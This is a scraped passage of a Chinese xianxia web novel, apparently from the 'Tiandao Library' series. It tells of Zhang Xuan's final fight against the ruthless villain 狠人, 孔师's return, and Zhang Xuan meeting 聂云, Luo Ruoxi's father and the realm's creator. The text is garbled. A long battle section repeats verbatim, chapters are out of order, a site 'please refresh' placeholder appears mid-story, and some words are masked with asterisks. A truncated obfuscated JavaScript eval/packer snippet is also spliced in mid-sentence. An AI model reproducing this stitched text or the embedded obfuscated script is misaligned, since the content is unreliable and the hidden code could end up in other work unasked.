张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第209章回朝 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 